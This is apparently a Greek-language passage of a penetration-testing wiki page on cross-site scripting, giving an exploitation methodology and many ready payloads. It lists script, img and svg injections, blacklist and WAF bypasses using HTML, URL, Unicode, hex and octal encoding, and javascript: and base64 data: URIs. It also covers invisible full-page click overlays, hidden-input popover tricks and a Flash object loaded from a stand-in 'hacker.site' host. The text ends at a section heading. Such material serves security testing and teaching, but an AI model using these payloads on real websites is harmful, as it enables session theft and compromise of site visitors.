XSS (Cross Site Scripting)

Εάν ενδιαφέρεστε για καριέρα στο χάκινγκ και για να χακάρετε το αχάκαρτο - σας προσλαμβάνουμε! (απαιτείται άριστη γνώση γραπτού και προφορικού Πολωνικών).

Μεθοδολογία

  1. Ελέγξτε εάν οποιαδήποτε τιμή ελέγχετε (παράμετροι, διαδρομή, κεφαλίδες?, cookies?) αντανακλάται στο HTML ή χρησιμοποιείται από κώδικα JS.

  2. Βρείτε το πλαίσιο όπου αντανακλάται/χρησιμοποιείται.

  3. Εάν αντανακλάται

  4. Ελέγξτε ποια σύμβολα μπορείτε να χρησιμοποιήσετε και ανάλογα με αυτό, ετοιμάστε το payload:

  5. Σε ακατέργαστο HTML:

  6. Μπορείτε να δημιουργήσετε νέες ετικέτες HTML;

  7. Μπορείτε να χρησιμοποιήσετε συμβάντα ή γνωρίσματα που υποστηρίζουν το πρωτόκολλο javascript:;

  8. Μπορείτε να παρακάμψετε προστασίες;

  9. Το περιεχόμενο HTML ερμηνεύεται από κάποιον μηχανισμό JS στον πελάτη (AngularJS, VueJS, Mavo...), μπορείτε να εκμεταλλευτείτε μια Ενσωμάτωση Προτύπου Πλευράς Πελάτη.

  10. Εάν δεν μπορείτε να δημιουργήσετε ετικέτες HTML που εκτελούν κώδικα JS, μπορείτε να εκμεταλλευτείτε μια Κρεμασμένη Σήμανση - Ενσωμάτωση HTML χωρίς script;

  11. Μέσα σε μια ετικέτα HTML:

  12. Μπορείτε να βγείτε στο ακατέργαστο περιβάλλον HTML;

  13. Μπορείτε να δημιουργήσετε νέα συμβάντα/γνωρίσματα για να εκτελέσετε κώδικα JS;

  14. Υποστηρίζει το γνώρισμα όπου είστε παγιδευμένοι την εκτέλεση JS;

  15. Μπορείτε να παρακάμψετε προστασίες;

  16. Μέσα στον κώδικα JavaScript:

  17. Μπορείτε να δραπετεύσετε την ετικέτα <script>;

  18. Μπορείτε να δραπετεύσετε τη συμβολοσειρά και να εκτελέσετε διαφορετικό κώδικα JS;

  19. Είναι η είσοδός σας σε πρότυπα προτάσεων ``;

  20. Μπορείτε να παρακάμψετε προστασίες;

  21. Η συνάρτηση JavaScript που εκτελείται

  22. Μπορείτε να υποδείξετε το όνομα της συνάρτησης προς εκτέλεση. π.χ.: ?callback=alert(1)

  23. Εάν χρησιμοποιείται:

  24. Μπορείτε να εκμεταλλευτείτε ένα DOM XSS, προσέξτε πώς ελέγχεται η είσοδός σας και εάν η ελεγχόμενη είσοδος σας χρησιμοποιείται από κάποια διαρροή.

Όταν εργάζεστε σε ένα πολύπλοκο XSS μπορεί να είναι ενδιαφέρον να γνωρίζετε για:

pageDebugging Client Side JS

Αντανακλώμενες τιμές

Για να εκμεταλλευτείτε με επιτυχία ένα XSS το πρώτο πράγμα που πρέπει να βρείτε είναι μια τιμή που ελέγχετε και αντανακλάται στην ιστοσελίδα.

  • Ενδιάμεσα αντανακλώμενο: Εάν βρείτε ότι η τιμή μιας παραμέτρου ή ακόμα και η διαδρομή αντανακλάται στην ιστοσελίδα, μπορείτε να εκμεταλλευτείτε ένα Αντανακλώμενο XSS.

  • Αποθηκευμένο και αντανακλώμενο: Εάν βρείτε ότι μια τιμή που ελέγχετε αποθηκεύεται στον διακομιστή και αντανακλάται κάθε φορά που έχετε πρόσβαση σε μια σελίδα, μπορείτε να εκμεταλλευτείτε ένα Αποθηκευμένο XSS.

  • Προσπελάσιμο μέσω JS: Εάν βρείτε ότι μια τιμή που ελέγχετε προσπελάζεται χρησιμοποιώντας JS, μπορείτε να εκμεταλλευτείτε ένα DOM XSS.

Πλαίσια

Όταν προσπαθείτε να εκμεταλλευτείτε ένα XSS το πρώτο πράγμα που πρέπει να γνωρίζετε είναι πού αντανακλάται η είσοδός σας. Ανάλογα με το πλαίσιο, θα μπορείτε να εκτελέσετε αυθαίρετο κώδικα JS με διαφορετικούς τρόπους.

Ακατέργαστο HTML

Εάν η είσοδός σας αντανακλάται στην ακατέργαστη HTML σελίδα, θα πρέπει να εκμεταλλευτείτε κάποια ετικέτα HTML για να εκτελέσετε κώδικα JS: <img , <iframe , <svg , <script ... αυτές είναι μόνο μερικές από τις πολλές δυνατές ετικέτες HTML που μπορείτε να χρησιμοποιήσετε. Επίσης, θυμηθείτε την Ενσωμάτωση Προτύπου Πλευράς Πελάτη.

Μέσα σε γνωρίσματα ετικετών HTML

Εάν η είσοδός σας αντανακλάται μέσα στην τιμή του γνωρίσματος μιας ετικέτας, μπορείτε να δοκιμάσετε:

  1. Να δραπετεύσετε από το γνώρισμα και από την ετικέτα (τότε θα βρίσκεστε στην ακατέργαστη HTML) και να δημιουργήσετε νέα ετικέτα HTML για εκμετάλλευση: "><img [...]

  2. Εάν μπορείτε να δραπετεύσετε από το γνώρισμα αλλά όχι από την ετικέτα (> κωδικοποιείται ή διαγράφεται), ανάλογα με την ετικέτα μπορείτε να δημιουργήσετε ένα συμβάν που εκτελεί κώδικα JS: " autofocus onfocus=alert(1) x="

  3. Εάν δεν μπορείτε να δραπετεύσετε από το γνώρισμα (" κωδικοποιείται ή διαγράφεται), τότε ανάλογα με το ποιο γνώρισμα αντανακλάται η τιμή σας αν μπορείτε να ελέγξετε όλη την τιμή ή μόνο ένα μέρος, θα μπορείτε να το εκμεταλλευτείτε. Για παράδειγμα, αν ελέγχετε ένα συμβάν όπως το onclick=, θα μπορείτε να το κάνετε να εκτελέσει αυθαίρετο κώδικα όταν γίνει κλικ. Ένα άλλο ενδιαφέρον παράδειγμα είναι το γνώρισμα href, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο javascript: για να εκτελέσετε αυθαίρετο κώδικα: href="javascript:alert(1)"

  4. Εάν η είσοδός σας αντανακλάται μέσα σε "μη εκμεταλλεύσιμες ετικέτες" μπορείτε να δοκιμάσετε το κόλπο με το accesskey για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποιον είδους κοινωνικού μηχανικού για να εκμεταλλευτείτε αυτό): " accesskey="x" onclick="alert(1)" x="

Παράδειγμα με Angular που εκτελεί XSS εάν ελέγχετε ένα όνομα κλάσης:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Μέσα στον κώδικα JavaScript

Σε αυτήν την περίπτωση, η είσοδός σας αντανακλάται μεταξύ των ετικετών <script> [...] </script> ενός HTML σελίδας, μέσα σε ένα αρχείο .js ή μέσα σε ένα γνώρισμα χρησιμοποιώντας το πρωτόκολλο javascript::

  • Αν αντανακλάται μεταξύ των ετικετών <script> [...] </script>, ακόμα κι αν η είσοδός σας βρίσκεται μέσα σε οποιοδήποτε είδος εισαγωγικών, μπορείτε να δοκιμάσετε να εισάγετε </script> και να δραπετεύσετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML και μετά το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι το εισαγόμενο σας </script> είναι μέσα στον κώδικα HTML.

  • Αν αντανακλάται μέσα σε μια συμβολοσειρά JS και η προηγούμενη τεχνική δεν λειτουργεί, θα χρειαστεί να βγείτε από τη συμβολοσειρά, να εκτελέσετε τον κώδικά σας και να ανακατασκευάσετε τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί):

    • '-alert(1)-'

    • ';-alert(1)//

    • \';alert(1)//

  • Αν αντανακλάται μέσα σε πρότυπα κειμένου, μπορείτε να ενσωματώσετε εκφράσεις JS χρησιμοποιώντας τη σύνταξη ${ ... }: var greetings = `Hello, ${alert(1)}`

  • Η κωδικοποίηση Unicode λειτουργεί για να γράψετε έγκυρο κώδικα JavaScript:

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Εξόρυξη Javascript

Η εξόρυξη Javascript αναφέρεται στη δυνατότητα δήλωσης συναρτήσεων, μεταβλητών ή κλάσεων μετά τη χρήση τους, ώστε να μπορείτε να εκμεταλλευτείτε περιπτώσεις όπου ένα XSS χρησιμοποιεί μη δηλωμένες μεταβλητές ή συναρτήσεις. Ελέγξτε την παρακάτω σελίδα για περισσότερες πληροφορίες:

pageJS Hoisting

Συνάρτηση Javascript

Πολλές ιστοσελίδες έχουν σημεία πρόσβασης που δέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί. Ένα κοινό παράδειγμα που βλέπουμε συχνά είναι κάτι σαν: ?callback=callbackFunc.

Ένας καλός τρόπος να διαπιστώσετε αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι να τροποποιήσετε την τιμή της παραμέτρου (για παράδειγμα σε 'Ευάλωτο') και να ελέγξετε στην κονσόλα για σφάλματα όπως:

Σε περίπτωση που είναι ευάλωτο, μπορείτε να ενεργοποιήσετε ένα ειδοποιητικό μήνυμα απλά στέλνοντας την τιμή: ?callback=alert(1). Ωστόσο, είναι πολύ συνηθισμένο αυτά τα σημεία πρόσβασης να επικυρώνουν το περιεχόμενο για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες ([\w\._]).

Ωστόσο, ακόμα και με αυτό τον περιορισμό είναι δυνατό να εκτελέσετε κάποιες ενέργειες. Αυτό οφείλεται στο γεγονός ότι μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για πρόσβαση σε οποιοδήποτε στοιχείο στο DOM:

Μερικές χρήσιμες συναρτήσεις γι' αυτό:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Μπορείτε επίσης να δοκιμάσετε να ενεργοποιήσετε συναρτήσεις Javascript απευθείας: obj.sales.delOrders.

Ωστόσο, συνήθως τα σημεία που εκτελούν τη συγκεκριμένη λειτουργία είναι σημεία χωρίς πολύ ενδιαφέρον DOM, άλλες σελίδες στην ίδια προέλευση θα έχουν ένα πιο ενδιαφέρον DOM για να εκτελέσουν περισσότερες ενέργειες.

Επομένως, για να καταχραστείτε αυτήν την ευπάθεια σε ένα διαφορετικό DOM αναπτύχθηκε η εκμετάλλευση Same Origin Method Execution (SOME):

pageSOME - Same Origin Method Execution

DOM

Υπάρχει κώδικας JS που χρησιμοποιεί μη ασφαλώς κάποια δεδομένα που ελέγχεται από έναν επιτιθέμενο όπως το location.href. Ένας επιτιθέμενος μπορεί να καταχραστεί αυτό για να εκτελέσει αυθαίρετο κώδικα JS.

pageDOM XSS

Universal XSS

Αυτού του είδους τα XSS μπορούν να βρεθούν οπουδήποτε. Δεν εξαρτώνται μόνο από την εκμετάλλευση του πελάτη ενός web εφαρμογής αλλά από οποιοδήποτε πλαίσιο. Αυτού του είδους η αυθαίρετη εκτέλεση JavaScript μπορεί ακόμα να καταχραστεί για να λάβει RCE, διαβάσει αυθαίρετα αρχεία σε πελάτες και διακομιστές, και περισσότερα. Μερικά παραδείγματα:

pageServer Side XSS (Dynamic PDF)pageElectron Desktop Apps

WAF παράκαμψη κωδικοποίησης εικόνας

Ενσωμάτωση μέσα σε ακατέργαστο HTML

Όταν η είσοδός σας αντανακλάται μέσα στη σελίδα HTML ή μπορείτε να δραπετεύσετε και να ενσωματώσετε κώδικα HTML σε αυτό το πλαίσιο, το πρώτο πράγμα που πρέπει να κάνετε είναι να ελέγξετε αν μπορείτε να καταχραστείτε το < για να δημιουργήσετε νέες ετικέτες: Απλά δοκιμάστε να αντανακλάτε αυτό το χαρακτήρα και ελέγξτε αν γίνεται κωδικοποίηση HTML ή διαγραφή του ή αν αντανακλάται χωρίς αλλαγές. Μόνο σε αυτήν την τελευταία περίπτωση θα μπορείτε να εκμεταλλευτείτε αυτήν την περίπτωση. Για αυτές τις περιπτώσεις επίσης θυμηθείτε Ενσωμάτωση Πλευράς Πελάτη. Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας**** --> ή ****--!>

Σε αυτήν την περίπτωση και αν δεν χρησιμοποιείται μαύρη/λευκή λίστα, θα μπορούσατε να χρησιμοποιήσετε φορτία όπως:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

Ωστόσο, εάν χρησιμοποιείται μαύρη/λευκή λίστα ετικετών/χαρακτηριστικών, θα πρέπει να δοκιμάσετε με βία ποιες ετικέτες μπορείτε να δημιουργήσετε. Αφού έχετε εντοπίσει ποιες ετικέτες επιτρέπονται, θα πρέπει να δοκιμάσετε με βία τα χαρακτηριστικά/συμβάντα μέσα στις εντοπισμένες έγκυρες ετικέτες για να δείτε πώς μπορείτε να επιτεθείτε στο πλαίσιο.

Δοκιμή με βία ετικετών/συμβάντων

Πηγαίνετε στο https://portswigger.net/web-security/cross-site-scripting/cheat-sheet και κάντε κλικ στο Αντιγραφή ετικετών στο πρόχειρο. Στη συνέχεια, στείλτε τα όλα χρησιμοποιώντας το Burp intruder και ελέγξτε αν κάποιες ετικέτες δεν ανακαλύφθηκαν ως κακόβουλες από το WAF. Αφού ανακαλύψετε ποιες ετικέτες μπορείτε να χρησιμοποιήσετε, μπορείτε να δοκιμάσετε με βία όλα τα συμβάντα χρησιμοποιώντας τις έγκυρες ετικέτες (στην ίδια ιστοσελίδα κάντε κλικ στο Αντιγραφή συμβάντων στο πρόχειρο και ακολουθήστε την ίδια διαδικασία όπως πριν).

Προσαρμοσμένες ετικέτες

Αν δεν βρήκατε καμία έγκυρη ετικέτα HTML, μπορείτε να δοκιμάσετε να δημιουργήσετε μια προσαρμοσμένη ετικέτα και να εκτελέσετε κώδικα JS με το χαρακτηριστικό onfocus. Στο αίτημα XSS, πρέπει να τελειώσετε το URL με # για να κάνετε τη σελίδα εστιάσει σε αυτό το αντικείμενο και εκτελέσει τον κώδικα:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Παρακάμψεις Μαύρης Λίστας

Αν χρησιμοποιείται κάποιου είδους μαύρη λίστα, μπορείτε να προσπαθήσετε να την παρακάμψετε με μερικά ανόητα κόλπα:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Παράκαμψη μήκους (μικρά XSSs)

Περισσότερα μικρά XSS για διαφορετικά περιβάλλοντα payload μπορεί να βρεθεί εδώ και εδώ.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

Click XSS - Clickjacking

Εάν για να εκμεταλλευτείτε την ευπάθεια χρειάζεστε τον χρήστη να κάνει κλικ σε ένα σύνδεσμο ή ένα φόρμα με προεπιλεγμένα δεδομένα, μπορείτε να δοκιμάσετε να καταχραστείτε το Clickjacking (εάν η σελίδα είναι ευάθροιστη).

Impossible - Dangling Markup

Εάν απλώς πιστεύετε ότι είναι αδύνατο να δημιουργήσετε ένα ετικέτα HTML με ένα γνώρισμα για να εκτελέσετε κώδικα JS, θα πρέπει να ελέγξετε το Danglig Markup επειδή θα μπορούσατε να εκμεταλλευτείτε την ευπάθεια χωρίς να εκτελέσετε κώδικα JS.

Ενσωμάτωση μέσα σε ετικέτα HTML

Μέσα στην ετικέτα/διαφυγή από την τιμή του γνωρίσματος

Εάν βρίσκεστε μέσα σε μια ετικέτα HTML, το πρώτο πράγμα που μπορείτε να δοκιμάσετε είναι να διαφύγετε από την ετικέτα και να χρησιμοποιήσετε κάποιες από τις τεχνικές που αναφέρονται στην προηγούμενη ενότητα για να εκτελέσετε κώδικα JS. Εάν δεν μπορείτε να διαφύγετε από την ετικέτα, μπορείτε να δημιουργήσετε νέα γνωρίσματα μέσα στην ετικέτα για να δοκιμάσετε να εκτελέσετε κώδικα JS, για παράδειγμα χρησιμοποιώντας κάποιο φορτίο όπως (σημειώστε ότι σε αυτό το παράδειγμα χρησιμοποιούνται διπλά εισαγωγικά για να διαφύγετε από το γνώρισμα, δεν θα τα χρειαστείτε εάν η είσοδός σας αντανακλάται απευθείας μέσα στην ετικέτα):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Στυλ συμβάντων

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Μέσα στο γνώρισμα

Ακόμα κι αν δεν μπορείτε να δραπετεύσετε από το γνώρισμα (" κωδικοποιείται ή διαγράφεται), ανάλογα με το ποιο γνώρισμα αντικατοπτρίζεται η τιμή σας, είτε ελέγχετε ολόκληρη την τιμή είτε μόνο ένα μέρος, μπορείτε να το εκμεταλλευτείτε. Για παράδειγμα, αν ελέγχετε ένα γεγονός όπως το onclick=, μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν γίνει κλικ. Ένα άλλο ενδιαφέρον παράδειγμα είναι το γνώρισμα href, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο javascript: για να εκτελέσετε αυθαίρετο κώδικα: href="javascript:alert(1)"

Παράκαμψη μέσα σε γεγονός χρησιμοποιώντας κωδικοποίηση HTML/κωδικοποίηση URL

Οι κωδικοποιημένοι χαρακτήρες HTML μέσα στην τιμή των γνωρισμάτων ετικετών HTML αποκωδικοποιούνται κατά την εκτέλεση. Επομένως, κάτι τέτοιο θα είναι έγκυρο (η φορτίο βρίσκεται σε bold): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Επιστροφή </a>

Σημειώστε ότι οποιαδήποτε μορφή κωδικοποίησης HTML είναι έγκυρη:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Σημείωση ότι η κωδικοποίηση URL θα λειτουργήσει επίσης:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Παράκαμψη εντός συμβάντος χρησιμοποιώντας κωδικοποίηση Unicode

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Ειδικοί Πρωτόκολλοι Εντός του Χαρακτηριστικού

Εκεί μπορείτε να χρησιμοποιήσετε τα πρωτόκολλα javascript: ή data: σε ορισμένα σημεία για να εκτελέσετε αυθαίρετο κώδικα JS. Κάποια θα απαιτήσουν αλληλεπίδραση χρήστη και κάποια όχι.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Τοποθεσίες όπου μπορείτε να εισάγετε αυτά τα πρωτόκολλα

Γενικά το πρωτόκολλο javascript: μπορεί να χρησιμοποιηθεί σε οποιαδήποτε ετικέτα που δέχεται το γνώρισμα href και σε τις περισσότερες από τις ετικέτες που δέχονται το γνώρισμα src (αλλά όχι <img)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Άλλα κόλπα παραμόρφωσης

Σε αυτήν την περίπτωση, η κωδικοποίηση HTML και το κόλπο κωδικοποίησης Unicode από την προηγούμενη ενότητα είναι επίσης έγκυρα καθώς βρίσκεστε μέσα σε ένα γνώρισμα.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Επιπλέον, υπάρχει ένα όμορφο κόλπο για αυτές τις περιπτώσεις: Ακόμα κι αν το input σας μέσα στο javascript:... είναι κωδικοποιημένο ως URL, θα αποκωδικοποιηθεί πριν εκτελεστεί. Έτσι, αν χρειάζεται να δραπετεύσετε από το string χρησιμοποιώντας μια μονή απόστροφο και βλέπετε ότι είναι κωδικοποιημένο ως URL, θυμηθείτε ότι δεν έχει σημασία, θα ερμηνευτεί ως μονή απόστροφο κατά την εκτέλεση.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Σημειώστε ότι αν προσπαθήσετε να χρησιμοποιήσετε και τα δύο URLencode + HTMLencode με οποιαδήποτε σειρά για να κωδικοποιήσετε το payload δεν θα λειτουργήσει, αλλά μπορείτε να τα ανακατέψετε μέσα στο payload.

Χρήση κωδικοποίησης Hex και Octal με javascript:

Μπορείτε να χρησιμοποιήσετε την κωδικοποίηση Hex και Octal μέσα στο χαρακτηριστικό src του iframe (τουλάχιστον) για να δηλώσετε HTML tags για εκτέλεση JS:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Αντίστροφη απαγωγή καρτέλας

<a target="_blank" rel="opener"

Εάν μπορείτε να εισάγετε οποιοδήποτε URL σε ένα αυθαίρετο <a href= tag που περιέχει τα χαρακτηριστικά target="_blank" και rel="opener", ελέγξτε τη εξής σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά:

pageReverse Tab Nabbing

Παράκαμψη Χειριστών Γεγονότων

Καταρχάς ελέγξτε αυτήν τη σελίδα (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) για χρήσιμους "on" event handlers. Σε περίπτωση που υπάρχει κάποια μαύρη λίστα που εμποδίζει τη δημιουργία αυτών των event handlers, μπορείτε να δοκιμάσετε τις ακόλουθες παρακάμψεις:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (κρυφή είσοδος, σύνδεσμος, κανονικός, μετα)

Από εδώ είναι πλέον δυνατή η κατάχρηση των κρυφών εισόδων με:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

Και στις μετα ετικέτες:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Από εδώ: Μπορείτε να εκτελέσετε ένα XSS payload μέσα σε ένα κρυφό γνώρισμα, εφόσον μπορείτε να πείσετε το θύμα να πατήσει το συνδυασμό πλήκτρων. Στο Firefox Windows/Linux ο συνδυασμός πλήκτρων είναι ALT+SHIFT+X και στο OS X είναι CTRL+ALT+X. Μπορείτε να καθορίσετε έναν διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας ένα διαφορετικό πλήκτρο στο γνώρισμα πρόσβασης. Εδώ είναι το διάνυσμα:

<input type="hidden" accesskey="X" onclick="alert(1)">

Το XSS payload θα είναι κάτι τέτοιο: " accesskey="x" onclick="alert(1)" x="

Παράκαμψη Μαύρης Λίστας

Έχουν αποκαλυφθεί ήδη αρκετά κόλπα χρησιμοποιώντας διαφορετικές κωδικοποιήσεις μέσα σε αυτήν την ενότητα. Πήγαινε πίσω για να μάθεις πού μπορείς να χρησιμοποιήσεις:

  • Κωδικοποίηση HTML (ετικέτες HTML)

  • Κωδικοποίηση Unicode (μπορεί να είναι έγκυρος κώδικας JS): \u0061lert(1)

  • Κωδικοποίηση URL

  • Κωδικοποίηση Hex και Octal

  • Κωδικοποίηση δεδομένων

Παρακάμψεις για ετικέτες και χαρακτηριστικά HTML

Διάβασε τις Παρακάμψεις Μαύρης Λίστας της προηγούμενης ενότητας.

Παρακάμψεις για κώδικα JavaScript

Διάβασε τις Παρακάμψεις Μαύρης Λίστας της επόμενης ενότητας.

CSS-Gadgets

Αν βρήκες ένα XSS σε ένα πολύ μικρό μέρος του ιστοώστερου που απαιτεί κάποιο είδος αλληλεπίδρασης (ίσως ένα μικρό link στο υποσέλιδο με ένα στοιχείο onmouseover), μπορείς να τροποποιήσεις τον χώρο που καταλαμβάνει το στοιχείο για να μεγιστοποιήσεις τις πιθανότητες εκτέλεσης του συνδέσμου.

Για παράδειγμα, θα μπορούσες να προσθέσεις κάποια στυλιστικά στοιχεία στο στοιχείο όπως: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Αλλά, αν το WAF φιλτράρει το χαρακτηριστικό style, μπορείς να χρησιμοποιήσεις τα CSS Styling Gadgets, οπότε αν βρεις, για παράδειγμα

.test {display:block; color: blue; width: 100%}

και

#someid {top: 0; font-family: Tahoma;}

Τώρα μπορείς να τροποποιήσεις τον σύνδεσμό μας και να τον φέρεις στη μορφή

<a href="" id=someid class=test onclick=alert() a="">

Αυτό το κόλπο προήλθε από https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Ενσωμάτωση μέσα στον κώδικα JavaScript

Σε αυτές τις περιπτώσεις το input σου θα αντανακλάται μέσα στον κώδικα JS ενός αρχείου .js ή μεταξύ των ετικετών <script>...</script> ή μεταξύ των HTML events που μπορούν να εκτελέσουν κώδικα JS ή μεταξύ των χαρακτηριστικών που δέχονται το πρωτόκολλο javascript:.

Απόδραση της ετικέτας <script>

